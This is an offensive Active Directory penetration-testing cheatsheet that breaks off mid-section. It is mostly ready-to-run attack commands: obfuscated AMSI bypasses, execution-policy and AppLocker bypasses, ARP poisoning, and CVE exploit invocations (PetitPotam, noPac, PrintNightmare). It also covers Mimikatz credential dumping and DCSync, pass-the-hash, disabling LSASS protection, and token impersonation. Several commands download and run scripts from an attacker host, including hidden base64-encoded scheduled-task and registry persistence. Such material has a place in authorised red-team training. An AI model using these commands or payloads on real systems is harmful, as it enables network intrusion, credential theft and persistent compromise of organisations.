Active Directory

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter **@BlWasp_**.

I will try to put as many links as possible at the end of the page to direct to more complete resources.

Misc

Internal audit mindmap

Insane mindmap by @M4yFly.

Bypass AMSI

```
#Downgrade PowerShell
powershell -v 2 -c "<...>"

#Classic
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-
VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -
f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -
f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'
))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

#Base64
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Co

#Force AMSI error
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
```

```
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

#On PowerShell 6
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','N
```

Create PowerShell credentials

```
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\user", $pass)
```

Decipher Secure-String

With the corresponding AES key

```
$aesKey = (49, 222, 253, 86, 26, 137, 92, 43, 29, 200, 17, 203, 88, 97, 39, 38, 60, 119, 46, 44, 219, 179, 13, 194, 191, 199, 78, 10, 4, 40, 87, 159)
$secureObject = ConvertTo-SecureString -String "76492d11167[SNIP]MwA4AGEAYwA1AGMAZgA=" -Key $aesKey
$decrypted = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureObject)
$decrypted = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($decrypted)
$decrypted
```

Bypass execution policy

```
#By spawning a new PowerShell session in the current one
powershell -nop -exec bypass

#By disabling the execution policy in the registry
Set-ExecutionPolicy -ExecutionPolicy bypass -Scope LocalMachine -Force

#Load a PowerShell module without confirmation prompt
Import-Module ./evil.psm1 -Force
```

Execution context / AppLocker

AppLocker

```
#Get AppLocker policy
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

By default, `C:\Windows` is not blocked, and `C:\Windows\Tasks` is writeable by any users.

Bypass Constrained Language Mode

Import `BypassCLM.exe` and `Mono.Options.dll` in a directory where the AppLocker policy authorize the execution, then

```
#Get language mode
$ExecutionContext.SessionState.LanguageMode
#To bypass with PowerShell 6
pwsh

.\BypassCLM.exe -c "iex (new-object
net.webclient).downloadstring('http://192.168.50.44/Invoke-HelloWorld.ps1')"
```

Port forwarding

We can contact a machine, and this one can contact another machine, but we can't contact the second machine directly from our primary machine
On the "central" machine, all the hit on the port 80 or 4545 will be forward to the `connectaddress` on the specified port :

```
#Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44
connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80

#Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP
localport=80
```

```
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow
protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow
protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow
protocol=TCP localport=4545
```

Run domain commands from a non domain joined computer

```
runas /netonly /user:DOMAIN\User1 cmd.exe
```

Initial Access

What to do when you are plugged on the network without creds.

- NTLM authentication capture on the wire with Responder or Inveigh poisoning, maybe in NTLMv1 ?
- Relay the NTLM authentications to interesting endpoints, be careful to the signing
  - SMB socks to list/read/write the shares
  - LDAP to dump the directory
  - ...
- ARP poisoning with **bettercap**, can be used to poison ARP tables of targets and receive authenticated requests normally destinated to other devices. Interesting scenarios can be found here.
  - By sniffing everything on the wire with Wireshark, some secrets can be found with **PCredz**.

First, run bettercap with this config file:

```
# quick recon of the network
net.probe on

# set the ARP poisoning
set arp.spoof.targets <target_IP>
set arp.spoof.internal true
set arp.spoof.fullduplex true
```

```
# control logging and verbosity
events.ignore endpoint
events.ignore net.sniff.mdns

# start the modules
arp.spoof on
net.sniff on
```

```
sudo ./bettercap --iface <interface> --caplet spoof.cap
```

Then sniff with Wireshark. When it is finish, save the trace in a `.pcap` file and extract the secrets:

```
python3 ./Pcredz -f extract.pcap
```

- Poison the DHCPv6 answer to receive NTLM or Kerberos authentication
  - NTLM auths can be relayed with `ntlmrelayx`
  - Kerberos auths can be relayed with `krbrelayx` to ADCS endpoint
- Look for SMB and LDAP null bind
- Look for juicy CVEs
- Search for devices like printers, routers, or similar stuff with default creds

CVEs

AD oriented

- SPNEGO RCE (CVE-2022-37958) - No public POC for the moment
- PetitPotam pre-auth (CVE-2022-26925)

If the target is not patched, this CVE can be exploited without creds.

```
./PetitPotam.exe -pipe all <attacker_IP> <target_IP>
```

- NoPac (a.k.a. SamAccountName Spoofing, CVE-2021-42278 and CVE-2021-42287)

To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one.

```
#Scan for the vuln
.\noPac.exe scan -domain domain.local -user user1 -pass 'password'

#Exploit it and retrieve a ST for the DC
.\noPac.exe -domain domain.local -user user1 -pass 'password' /dc dcVuln.domain.local
/mAccount evilComputer /mPassword 'evilPass!' /service cifs /ptt
```

- PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

```
#Load and execute a DLL hosted on a SMB server on the attacker machine
./SharpPrintNightmare.exe '\\<attacker_IP>\smb\addUser.dll' '\\<target_IP>'
```

- Zerologon (CVE-2020-1472)

The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link.

- EternalBlue / Blue Keep (MS17-010 / CVE-2019-0708)

The exploits in the Metasploit framework are good for these two CVEs.

```
#EternalBlue
msf6 exploit(windows/smb/ms17_010_psexec) >

#Blue Keep
msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) >
```

- SMBGhost (CVE-2020-0796)

Be carefull, this exploit is pretty instable and the risk of BSOD is really important. The exploit in the Metasploit framework is good for this CVE.

```
msf6 exploit(windows/smb/cve_2020_0796_smbghost) >
```

- RC4-MD4 downgrade (CVE-2022-33679)

To exploit this CVE the **RC4-MD4** encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target.

```
./CVE-2022-33079.py -dc-ip <DC_IP> domain.local/<as-rep_roastable_user> <target_NETBIOS>
```

- Credentials Roaming (CVE-2022-30170)

```
# Fetch current user object
$user = get-aduser <victim username> -properties
@('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-
CredentialRoamingTokens','msPKIRoamingTimestamp')

# Install malicious Roaming Token (spawns calc.exe)
$malicious_hex =
"25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d61
$attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)"
Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose

# Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed
$new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] +
[System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]]
Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -
Verbose
```

- Bronze Bit (CVE-2020-17049)

To exploit this CVE, a controlled service account with constrained delegation to the target account is needed.

```
./Rubeus.exe s4u /bronzebit /user:<service_account> /rc4:<service_account_hash>
/dc:dc.domain.local /impersonateuser:Administrator /domain:domain.local
/altservice:cifs/target.domain.local /nowrap
```

- MS14-068

```
goldenPac.py 'domain.local'/'user1':'password'@<DC_IP>
```

Targeting Exchange server

- ProxyNotShell / ProxyShell / ProxyLogon (CVE-2022-41040 & CVE-2022-41082 / CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 / CVE-2021-26855 & CVE-2021-27065)

The exploits in the Metasploit framework are good for these three CVEs.

```
msf6 exploit(windows/http/exchange_proxynotshell_rce) >
msf6 exploit(windows/http/exchange_proxyshell_rce) >
msf6 exploit(windows/http/exchange_proxylogon_rce) >
```

For local privesc

- CVE-2022-41057
- KrbRelayUp
- SpoolFool (CVE-2022-21999)

```
./SpoolFool.exe -dll adUser.dll

#In PowerShell
Import-Module .\SpoolFool.ps1
Invoke-SpoolFool -dll adUser.dll
```

- PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

```
./SharpPrintNightmare.exe ./adUser.dll
```

- HiveNightmare (CVE-2021-36934)

```
./Invoke-HiveNightmare.ps1 -path ./HiveDumps
```

Domain Enumeration

Domain objects

Current domain

```
#PowerView
Get-NetDomain
#AD Module
Get-ADDomain
```

```
#Domain SID
Get-DomainSID
(Get-ADDomain).DomainSID

#Domain policy
(Get-DomainPolicy)."system access"
```

Another domain

```
#PowerView
Get-NetDomain -Domain domain.local

#AD Module
Get-ADDomain -Identity domain.local
```

Domain controller

Current domain

```
#PowerView
Get-NetDomainController
#AD Module
Get-ADDomainController

Get-NetDomainController -Domain domain.local
Get-ADDomainController -DomainName domain.local -Discover
```

Users enumeration

List users

```
#PowerView
Get-NetUser
Get-NetUser -Identity user1

#AD Module
```

```
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity user1 -Properties *
```

User's properties

```
#AD Module
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
```

Search for a particular string in attributes

```
Find-UserField -SearchField Description -SearchTerm "password"
Get-ADUser -Filter 'Description -like "*password*"' -Properties Description | select name,Description
```

Actively logged users on a machine

Needs local admin rights on the target

```
Get-NetLoggedon -ComputerName <target>
```

Locally logged users on a machine

Needs remote registry on the target - started by-default on server OS

```
Get-LoggedonLocal -ComputerName <target>
```

Last logged user on a machine

Needs administrative rights and remote registry on the target

```
Get-LastLoggedOn -ComputerName <target>
```

User hunting

Find machine where the user has admin privs

```
Find-LocalAdminAccess -Verbose
```

If the RPC or SMB ports are blocked, see `Find-WMILocalAdminAccess.ps1` and `Find-PSRemotingLocalAdminAccess.ps1` to use WMI or PowerShell Remoting

Find local admins on the domain machines

```
Invoke-EnumerateLocalAdmin -Verbose
```

Find machines where specific users or groups have sessions

```
Invoke-UserHunter #Admins
Invoke-UserHunter -GroupName "<group_target>"
```

Check local admin access for the current user where the targets are found

```
Invoke-UserHunter -CheckAccess
```

Computers enumeration

```
#PowerView
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -FullData

#AD Module
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem |
select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{TestConnection -Count 1 -ComputerName
$_.DNSHostName}
Get-ADComputer -Filter * -Properties *
```

Groups enumeration

Groups in the current domain

```
#PowerView
Get-NetGroup
Get-NetGroup -FullData

#AD Module
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
```

Search for a particular string in attributes

```
#PowerView
Get-NetGroup *admin*

#AD Module
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name
```

All users in a specific group

```
#PowerView
Get-NetGroupMember -GroupName "<group>" -Recurse
```

```
#AD Module
Get-ADGroupMember -Identity "<group>" -Recursive
```

All groups of an user

```
#PowerView
Get-NetGroup -MemberIdentity "user1"

#AD Module
Get-ADPrincipalGroupMembership -Identity "user1"
```

Local groups enumeration

```
Get-NetLocalGroup -ComputerName <target> -ListGroups
```

Members of local groups

```
Get-NetLocalGroup -ComputerName <target> -Recurse
```

Shares / Files

Find shares on the domain

```
Invoke-ShareFinder -Verbose
```

Sensitive files on the domain

```
Invoke-FileFinder -Verbose
Invoke-FileFinder -Verbose -Include "*pass*"
```

Or with Snaffler

`snaffler.exe -s - snaffler.log` ... (:

```
#Snaffle all the computers in the domain
./Snaffler.exe -d domain.local -c <DC> -s
#Send the result to a file
```

```
./Snaffler.exe -d domain.local -c <DC> -o res.log

#Snaffle specific computers
./Snaffler.exe -n computer1,computer2 -s

#Snaffle a specific directory
./Snaffler.exe -i C:\ -s
```

Find all fileservers of the domain

```
Get-NetFileServer
```

GPO enumeration

List of GPO in the domain

```
#PowerView
Get-NetGPO
#GPOs applied to a computer
Get-NetGPO -ComputerName <target>

#AD Module
Get-GPO -All #(GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html
#(Provides RSoP)
```

Get GPO that modify local group via Restricted Groups

```
Get-NetGPOGroup
```

Users which are in a local group of a machine using GPOs

```
Find-GPOComputerAdmin -Computername <target>
```

Machine where an user is member of a local group using GPOs

```
Find-GPOLocation -Identity user1 -Verbose
```

Organisation Units

OUs of the domain

```
Get-NetOU -FullData
Get-ADOrganizationalUnit -Filter * -Properties *
```

Computers within an OU

```
Get-NetComputer | ? { $_.DistinguishedName -match "OU=<OU_name>" } | select DnsHostName
```

GPO applied on an OU / Read GPO from the GP-Link attribut from `Get-NetOU`

```
Get-NetGPO -GPOname "{<OU_ID>}"
Get-GPO -Guid <OU_ID> #(GroupPolicy module)
```

DACLs

All ACLs associated to an object (inbound)

```
Get-ObjectAcl -Identity user1 -ResolveGUIDs
(Get-ObjectAcl | Where-Object {$_.ObjectSid -match "<object_SID>"})
```

Outbound ACLs of an object

These are the rights the object has in the AD

```
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "<target>"}
Get-ObjectAcl -ResolveGUIDs | ? {$_.SecurityIdentifier -match "user1"}
```

ACLs associated to a specific path

```
Get-PathAcl -Path "\\dc.domain.local\sysvol"
```

Trusts

Map trusts

```
Invoke-MapDomainTrust
```

Domain trusts for the current domain

```
#PowerView
Get-NetDomainTrust #Find potential external trust

#AD Module
Get-ADTrust
```

Forest

Details about the current forest

```
#PowerView
Get-NetForest
Get-NetForest -Forest domain.local

#AD Module
Get-ADForest
Get-ADForest -Identity domain.local
```

All domains in the current forest

```
#PowerView
Get-NetForestDomain
Get-NetForestDomain -Forest domain.local

#AD Module
(Get-ADForest).Domains
```

Global catalogs of the current forest

```
#PowerView
Get-NetForestCatalog
Get-NetForestCatalog -Forest domain.local

#AD Module
Get-ADForest | select -ExpandProperty GlobalCatalogs
```

Forest trusts

```
#PowerView
Get-NetForestTrust
Get-NetForestTrust -Forest domain.local

#AD Module
Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'
```

BloodHound / SharpHound

Basic usage

```
# Default collection
SharpHound.exe

# All collection excepted GPOLocalGroup with all string properties
SharpHound.exe --CollectionMethod All --CollectAllProperties

#Only collect from the DC, doesn't query the computers (more stealthy)
SharpHound.exe --CollectionMethod DCOnly
#Only collect user sessions and LocalGroup from computers, not the DC
SharpHound.exe --CollectionMethod ComputerOnly
```

Stealth usage

```
#Stealth collection soutions
SharpHound.exe --CollectionMethod ComputerOnly --Stealth
SharpHound.exe --ExcludeDomainControllers

#Encrypt the output archive with a random password
SharpHound.exe --EncryptZip
```

Loop collection

Useful for user session collection for example. SharpHound will run the collection regularly and output a new zip file after each loop.

```
#It will loop during 2h by default
SharpHound.exe --CollectionMethod Session --Loop

#Loop during 5h
SharpHound.exe --CollectionMethod Session --Loop --Loopduration 05:00:00
```

From a non domain joined computer

- Configure the DNS of the machine to be the DC
- Spawn a shell as a domain user
- Verify you’ve got valid domain authentiation by using the `net` binary
- Run SharpHound, using the `-d` flag to specify the AD domain you want to collect information from. You can also use any other flags you wish.

```
runas /netonly /user:DOMAIN\User1 cmd.exe
net view \\domain\
SharpHound.exe -d domain.local
```

Interesting Neo4j queries

Users with SPNs

```
MATCH (u:User {hasspn:true}) RETURN u
```

AS-REP Roastable users

```
MATCH (u:User {dontrepreauth:true}) RETURN u
```

Computers AllowedToDelegate to other computers

```
MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p
```

Shortest path from Kerberoastable user

```
MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p
```

Computers in Unconstrained Delegations

```
MATCH (c:Computer {unconsraineddelegation:true}) RETURN c
```

Rights against GPOs

```
MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p
```

Potential SQL Admins

```
MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p
```

LAPS

Machine with LAPS enabled

```
MATCH (c:Computer {haslaps:true}) RETURN c
```

Users with read LAPS rights against "LAPS machines"

```
MATCH p=(g:Group)-[:ReadLAPSPassword]->(c:Computer) return p
```

Local Privesc

PowerUp

```
#All checks
Invoke-AllChecks

#Get services with unquoted paths and a space in their name.
Get-UnquotedService -Verbose

#Get services where the current user can write to its binary path or change arguments to the binary
Get-ModifiableServiceFile -Verbose

#Get the services whose configuration current user can modify.
Get-ModifiableService -Verbose

#DLL Hijacking
Find-ProcessDLLHijack
Find-PathDLLHijack
```

Other enumeration tools

```
#PrivescCheck: https://github.com/itm4n/PrivescCheck
. .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended

.\beRoot.exe
.\winPEAS.exe
.\Seatbelt.exe -group=all -full

#Privesc: https://github.com/enjoiz/Privesc
Invoke-PrivEsc
```

Always Install Elevated

```
run msiexec /i BeaconInstaller.msi /q /n
```

Impersonation attacks / Potatoes

Full article here

KrbRelayUp

With RBCD

```
./KrbRelayUp.exe relay -Domain domain.local -CreateNewComputerAccount -ComputerName test$ -
ComputerPassword Password123!
./KrbRelayUp.exe spawn -d domain.local -cn test$ -cp Password123!
```

With ShadowCreds

```
./KrbRelayUp.exe full -m shadowcred --ForceShadowCred
```

With ADCS

```
./KrbRelayUp.exe full -m adcs
```

Massive local privesc cheatsheet

PayloadAllTheThings

Escape JEA

Abuse an allowed function

```
#Look at allowed functions
Get-Command

#Look at the function code
(Get-Command <function>).Definition
#Or
gcm <function> -show
```

For example if it is possible to control the `$param` parameter here `$ExecutionContext.InvokeCommand.ExpandString($param)`, it is possible to execute some code by passing this as argument : `'$(powershell.exe -c "iEx (New-Object System.Net.WebClient).DownloadString(''http://attacker_IP/Invoke-HelloWorld.ps1'')")'`

Function creation

If the JEA allowed to create a new function it can be abused

```
Invoke-Command -Session $sess -ScriptBlock {function blackwasp {iex (new-object
net.webclient).downloadstring('http://attacker_IP/Invoke-HelloWorld.ps1')}}
Invoke-Command -Session $sess -ScriptBlock {blackwasp}
```

With another WinrRM client

Sometimes this WinRM in Python can bypass the JEA

```
import winrm

s = winrm.Session('target_IP', auth=('administrator', 'password'))
r = s.run_cmd('powershell -c "IEX((New-Object
System.Net.WebClient).DownloadString(\'http://attacker_IP/Invoke-HelloWorld.ps1\'))"')

print r.status_code
print r.std_out
print r.std_err
```

Local Persistence

SharPersist

`SharPersist.exe` can be used for local persistence on a workstation.

Common userland persistences:

- HKCU / HKLM Registry Autoruns
- Scheduled Tasks
- Startup Folder

```
#Convert command to execute to base64
$str = 'IEX ((new-object net.webclient).downloadstring("http://attacker_ip/a"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

#Via scheduled task
.\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <base64>" -n "Updater" -m add -o hourly

#Via startup folder
.\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <base64>" -f "UserEnvSetup" -m add

#Via registry key, first create a .exe beacon named updater.exe, then
.\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add
```

LAPS persistence

To prevent a machine to update its LAPS password, it is possible to set the update date in the futur.

```
Set-DomainObject -Identity <target_machine> -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```

JEA persistence

Allows every commands to a user on a machine.

```
Set-JEAPermissions -ComputerName dc -SamAccountName user1 -Verbose

Enter-PSSession -ComputerName dc -ConfigurationName microsoft.powershell64
```

Lateral Movement

PowerShell remoting

From one computer to other ones

```
$sess = New-PSSession -ComputerName <computername>
Enter-PSSession -Session $sess

#Provide PS credentials
New-PSSession -Credential $cred

#To many computers
Invoke-Command -Credential $cred -ComputerName (Get-Content ./listServers.txt)
```

Execute scripts

```
#Script block
Invoke-Command -Scriptblock {Get-Process} -ComputerName Server01, Server02

#Script from file
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -ComputerName Server01
```

Execute locally loaded function to remote

Can be usefull to bypass some restricions

```
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01, Server02

#With arguments
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName Server01 -ArgumentList DumpCreds
```

Item copy

```
Copy-Item -ToSession $sess -Path <local_path> -Destination <path_on_target>
```

Scheduled task creation

Create a scheduled task on a remote machine, with sufficient rights

```
#Creation
schtasks /create /S <target>.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://<attacker_IP>/Invoke-PowerShellTcp.ps1''')'"

#Task execution
schtasks /Run /S <target>.domain.local /TN "STCheck"
```

Credentials gathering / Mimikatz

Dump creds

```
#Dump credentials on a local machine.
```

```
Invoke-Mimikatz -DumpCreds
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords"'

#Dump credentials on multiple remote machines.
Invoke-Mimikatz -DumpCreds -ComputerName @("Server01","Server02")

#Make a DCSync attack on all the users
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all"'

#Retrieve NT hashes via Key List Attack on a RODC
    #First, forge a RODC Golden Ticket
.\Rubeus.exe golden /rodcNumber:<krbtgt_number> /flags:forwardable,renewable,enc_pa_rep
/nowrap /outfile:ticket.kirbi /aes256:<krbtgt_aes_key> /user:user1 /id:<user_RID>
/domain:domain.local /sid:<domain_SID>
    #Then, request a ST and retrieve the NT hash in the TGS-REP
.\Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:ticket.kirbi
/service:krbtgt/domain.local
```

Credentials Vault & DPAPI

Credential manager blobs are stored in `C:\Users\<user>\AppData\Local\Microsoft\Credentials`

List with Mimikatz:

```
Invoke-Mimikatz -Command '"vault::list"'
```

To decrypt the creds, the DPAPI master encryption key must be retrieved. The key GUID can be retrieved with Mimikatz (the filed `guidMasterKey` is the one):

```
Invoke-Mimikatz -Command '"dpapi::cred
/in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob>"'
```

The GUID can be used to retrieve the key on the DC via a RPC call by providing the full path:

```
Invoke-Mimikatz -Command '"dpapi::masterkey
/in:C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<user_SID>\<key_GUID> /rpc"'
```

Now it possible to decipher the creds with the key:

```
Invoke-Mimikatz -Command '"dpapi::cred
```

```
/in:C:\Users\<user>\AppData\Local\Microsoft\Credentials\<blob> /masterkey:<key>"'
```

Lazagne

To retrieve maximum creds

```
./lazagne.exe all
```

Bypass RunAsPPL

Check if RunAsPPL is enabled in the registry.

Look at `HKLM\SYSTEM\CurrentControlSet\Control\Lsa`

```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```

If Mimikatz can't be used, PPLKiller is an alternative

```
./PPLKiller.exe /installDriver
./PPLKiller.exe /disableLSAProtection
./PPLKiller.exe /uninstallDriver
```

Pass the Challenge

This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This modified version of Pypykatz must be used to parse the LDAP dump. Full explains here.

NTLMv1

```
#Dump the LSASS process with Mimikatz for example
#Parse the dump with Pypykatz
python3 -m pypykatz lsa minidump lsass.DMP -p msv

#Inject the SecurityPackage.dll into the LSASS process
./PassTheChallenge.exe inject ./SecurityPackage.dll
```

```
#Retrieve the NTLMv1 hash
./PassTheChallenge.exe nthash <context handle>:<proxy info> <encrypted blob>

#Crack the NTLMv1 hash on crack.sh to retrieve the NT hash
```

NTLMv2

In case where only NTLMv2 is allowed, it will not be possible to crack the NTLM hash, but it is possible to pass the challenge and provide the response. It is possible to perform this attack with this modified version of Impacket. First, as above:

```
#Dump the LSASS process with Mimikatz for example
#Parse the dump with Pypykatz
python3 -m pypykatz lsa minidump lsass.DMP -p msv

#Inject the SecurityPackage.dll into the LSASS process
./PassTheChallenge.exe inject ./SecurityPackage.dll
```

Then, authenticate with an Impacket tool specifying `CHALLENGE` as password, provide the printed challenge to `PassTheChallenge`, and send the computed response to Impacket:

```
#Authenticate with CHALLENGE as password
psexec.py 'domain.local/user1:CHALLENGE@target.domain.local'

#Copy paste the challenge to PassTheChallenge.exe and retrieve the response
./PassTheChallenge.exe challenge <context handle>:<proxy info> <encrypted blob> <challenge>

#Paste the response to the Impacket prompt (possible that multiple response are needed)
```

Pass The Hash

```
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local
/ntlm:<nthash> /run:powershell.exe"'
```

Over Pass The Hash / Pass The Key

Generate Kerberos TGT from hashes (or AES keys)

```
#With Mimikat
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /rc4:<nthash> /run:powershell.exe"'
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /aes256:<aes_key> /run:powershell.exe"'

#With Rubeus
.\Rubeus.exe asktgt /domain:domain.local /user:Administrator /rc4:<nthash> /ptt /opsec
.\Rubeus.exe asktgt /domain:domain.local /user:Administrator /aes256:<aes_key> /ptt /opsec
```

Bypass Kerberos Double Hop

By default, Kerberos **doesn't** permise to run a PSSession into a PSSession (or Invoke-Command into a PSSession, or whatever)

This can be bypassed with Mimikatz, by running a reverse shell in a **Over-Pass-the-Hash** from a PSSession

```
$Contents = "powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://<attacker_IP>/Invoke-HelloWorld.ps1'))"
Out-File -Encoding Ascii -InputObject $Contents -FilePath ./reverse.bat
Invoke-Mimikatz -Command '"sekurlsa::pth /user:user1 /domain:domain.local /ntlm:<nthash> /run:.\reverse.bat"'
```

In the new shell it is **not** possible to run an **Enter-PSSession**, but it is possible to create a **New-PSSession** and run **Invoke-Command** into this new session

```
$sess = New-PSSession <target>
Invoke-Command -ScriptBlock{whoami;hostname} -Session $sess

Invoke-Command -ScriptBlock{mkdir /tmp; iwr http://<attacker_IP>/Invoke-HelloWorld.ps1 -o /tmp/Invoke-HelloWorld.ps1; . \tmp\Invoke-HelloWorld.ps1} -Session $sess
```

Token manipulation

Standard token impersonation

- It is possible to use/impersonate tokens available on a machine

- We can use `Invoke-TokenManipulation` from PowerSploit or Incognito (Meterpreter) for token impersonation
- Administrative privileges are required to adjust token privileges
- List all tokens

```
#List all tokens on the machine
Invoke-TokenManipulation -ShowAll

#List all unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate
```

- Start a new process with a specific token

```
#Token of a user
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user1"

#Token of a process
Invoke-TokenManipulation -CreateProcess
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ProcessId 500
```

Token impersonation with command execution and user addition

Blog here.

- List available tokens, and find an interesting token ID

```
./Impersonate.exe list
```

- With only **SeImpersonatePrivilege**, if a privileged user's token is present on the machine, it is possible to run code on the domain as him and add a new user in the domain (and add him to the Domain Admins by default):

```
./Impersonate.exe adduser <token_id> user1 Password123 <group_to_add_to> \\dc.domain.local
```

- With **SeImpersonatePrivilege and SeAssignPrimaryToken**, if a privileged user's token is presents on the machine, it is possible to execute comands on the machine as him:

```
./Impersonate.exe exec <token_id> <command>
```

Token impersonation via session leaking

Blog here. Basically, as long as a token is linked to a logon session (the **ReferenceCount != 0**), the logon session can't be closed, even if the user has logged off. `AcquireCredentialsHandle()` is used with a session LUID to increase the *ReferenceCount* and block the session release. Then `InitializeSecurityContext()` and `AcceptSecurityContext()` are used to negotiate a new security context, and `QuerySecurityContextToken()` get an usable token.

- Server part

```
#List logon session
Koh.exe list

#Monitor logon session with SID filtering
Koh.exe monitor <SID>

#Capture one token per SID found in new logon sessions
Koh.exe capture
```

- Client part (only available as Cobalt Strike BOF for the moment)

```
#List captured tokens
koh list

#List group SIDs for a captured token
koh groups <LUID>

#Impersonate a captured token by specifying the session LUID
koh impersonate <LUID>

#Release all captured tokens
koh release all
```

Tokens and ADCS

With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users.

```
.\Masky.exe /ca:<CA_server_FQDN\CA_name> /template:<template_name> /output:./output.txt
```

ADIDNS poisoning

How to deal with the **Active Directory Integrated DNS** and redirect the NTLM authentications to us

- By default, any user can create new ADIDNS records
- But it is not possible to change or delete a record we are not owning
- By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc

If the **wilcard record** (*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it.

Wildcard attack with Powermad

The char `*` can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP. This is what **Powermad** do:

```
